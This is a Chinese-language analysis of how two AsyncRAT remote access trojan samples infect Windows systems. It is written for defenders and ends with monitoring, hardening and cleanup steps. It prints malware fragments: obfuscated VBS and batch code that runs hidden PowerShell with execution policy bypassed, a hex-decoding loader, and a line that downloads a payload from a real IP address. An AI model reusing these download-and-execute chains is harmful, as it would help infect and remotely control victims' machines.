记一次RAT的感染过程详细分析
字数 1573 2025-08-22 12:23:18
AsyncRAT感染过程分析与防御指南
1. AsyncRAT概述
AsyncRAT是一种远程访问木马(RAT),旨在秘密渗透系统并让攻击者远程控制受感染的设备。本文档详细分析两种AsyncRAT样本的感染过程,帮助安全人员了解其工作原理并制定防御策略。
2. 样本一感染过程分析
2.1 初始感染载体
样本一伪装成TXT文件,实际上是经过混淆的VBS脚本:
- 混淆技术:使用随机变量名和字符串拼接来隐藏真实意图
- 核心功能:下载伪装为JPG文件的恶意内容并保存为ZIP
2.2 VBS脚本分析
Set FileSystemObject = CreateObject("Scripting.FileSystemObject")
Set XMLFile = FileSystemObject.CreateTextFile("C:\Users\Public\OMjRRRRRRRRRRRRRRRRRRRRVbK.Xml", True)
XMLFile.Write FileContent
XMLFile.Close
- 文件操作:在
C:\Users\Public目录创建XML文件 - PowerShell执行:通过XML文件内容执行PowerShell命令
2.3 PowerShell执行阶段
IScriptObj.Run "powershell .command "" [xml]$eksdmocc = Get-Content 'C:\Users\Public\OMjRRRRRRRRRRRRRRRRRRRRVbK.xml'; $bjarrrrrrrrrrrrrrrwio = $eksdmocc.command.a.execute; Invoke-Expression $bjarrrrrrrrrrrrrrrwio""", @, True
FileSystemObject.DeleteFile "C:\Users\Public\OMjRRRRRRRRRRRRRRRRRRRRVbK.xml"
-
执行流程:
- 读取XML文件内容
- 提取并执行其中的命令
- 删除XML文件以清除痕迹
-
后续操作:
- 执行另一个VBS脚本
TesKKKeLAvaYdAfbBS.vbs - 删除临时文件(ZIP和XML)
- 执行另一个VBS脚本
2.4 二级VBS脚本分析
解混淆后的核心代码:
On Error Resume Next
Set CreateObj = CreateObject("WScript.Shell")
Dim RunFileBat
RunFileBat = "C:\Users\Public\KKKKKKllLavI00000tesAA.bat"
CreateObj.Run RunFileBat, 0
On Error GoTo 0
- 功能:静默运行批处理文件
- 混淆技术:使用随机变量名和字符串拼接
2.5 批处理文件分析
@ echo off
set "LYZVPSNUISRELUGJ=po"
[...其他变量设置...]
set "FULLCOMMAND= %LYZVPSNUISRELUGJ%%ZMWTJAXWOEUPRUNW%%DVTEJPVRHWUSRHB%%GVXDOLJASUBLCBLH%%UXXZFHNCQPFNMWIL% %XHAEYWNOCITDSRZON%%UMCMEVCWMNBPIXJ% %FYVFBPJKZUUPFYKQX% %ACIDVUWCFHMCRMFN%%POBYVCRPDLLBHLYZI% %ACRPOQSHORJTUYKS% -Command " & ' %VGYOGJVSJWJKZCHS% ' ""
powershell.exe %FULLCOMMAND%
exit /b
实际执行的PowerShell命令:
powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass C:\Users\Public\KKguLavTEsaaEtneeNARdeP.ps1
- 参数说明:
-NoProfile:不加载用户配置文件-WindowStyle Hidden:隐藏窗口-ExecutionPolicy Bypass:绕过执行策略限制
2.6 PowerShell脚本分析
- 十六进制转换函数:
Set-Variable B2Nyu [Type](CoNVERt);
try {
function PARSer {
param ($pIpE)
Set-Variable -Name pipe -Value $pIpE -split
foreach ($cHuNK in $pIpE) {
B2Nyu.ToInt32.Invoke($cHuNK, 16)
}
}
}
- 恶意负载:
- 包含两个大字符串变量(十六进制编码)
- 解码后为一个DLL和一个EXE文件
3. 样本二感染过程分析
3.1 初始感染载体
样本二包含:
- 伪装为TXT文件的VBS脚本
- 伪装为JPG文件的恶意内容
3.2 VBS脚本分析
解混淆后的核心代码:
Dim var
var = "[BYTe[]]:5A123=TeXt(NEW-OBJeCTNeT.W;$8456='eBClIEnt').DOWNLO[BYTe[]]:SC789='http://23.26.108.141:888/zohre.jpg'').RePLACE('VAN','ADSTRING');[BYTe[]].TeXt($A123+$8456+$C789)"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "Cmd.exe /C POWERSHELL.exe -NOP -WIND HIDDEN -eXec BYPASS -NONI -& var", 0, True
Set objShell = Nothing
- 功能:拼接并执行PowerShell命令
- 下载内容:从
http://23.26.108.141:888/zohre.jpg下载恶意文件
3.3 PowerShell脚本分析
-
文件创建:
- 创建三个必要文件
- 存储AsyncRAT相关的EXE和DLL
-
计划任务:
- 设置每2分钟运行一次的定时任务
- 执行路径:
C:\Users\Public\roox.vbs
-
执行流程:
- 从变量中删除混淆字符(
%&%) - 将十六进制内容转换为可执行格式
- 加载到内存并执行
- 从变量中删除混淆字符(
4. 防御策略
4.1 检测与预防
-
文件监控:
- 监控
C:\Users\Public目录的可疑文件创建 - 特别关注
.vbs、.ps1、.bat和.xml文件
- 监控
-
进程监控:
- 监控
wscript.exe和cscript.exe执行VBS脚本 - 监控PowerShell使用
-WindowStyle Hidden和-ExecutionPolicy Bypass参数
- 监控
-
网络监控:
- 拦截可疑下载(如JPG文件保存为ZIP)
- 阻止已知恶意IP(如23.26.108.141)
4.2 加固措施
-
PowerShell限制:
# 设置默认执行策略为Restricted Set-ExecutionPolicy Restricted -Force -
禁用WScript:
reg add "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v "Enabled" /t REG_DWORD /d "0" /f -
计划任务监控:
- 定期检查
schtasks创建的任务 - 特别关注高频(如每2分钟)执行的任务
- 定期检查
4.3 应急响应
-
感染迹象:
C:\Users\Public目录下的可疑文件- 异常PowerShell进程
- 可疑的计划任务
-
清除步骤:
# 停止并删除可疑计划任务 Unregister-ScheduledTask -TaskName "可疑任务名" -Confirm:$false # 删除恶意文件 Remove-Item "C:\Users\Public\OMjRRRRRRRRRRRRRRRRRRRRVbK.Xml" -Force Remove-Item "C:\Users\Public\KKKKKKllLavI00000tesAA.bat" -Force Remove-Item "C:\Users\Public\KKguLavTEsaaEtneeNARdeP.ps1" -Force # 检查并终止相关进程 Get-Process | Where-Object {$_.Path -like "*C:\Users\Public\*"} | Stop-Process -Force
5. 总结
AsyncRAT使用多层混淆和多种脚本语言(VBS、批处理、PowerShell)实现感染。了解其感染过程有助于制定有效的防御策略。关键防御点包括:
- 限制脚本执行环境
- 监控公共目录的文件创建
- 警惕PowerShell的隐蔽执行参数
- 定期检查计划任务
通过多层防御和持续监控,可以有效降低AsyncRAT的感染风险。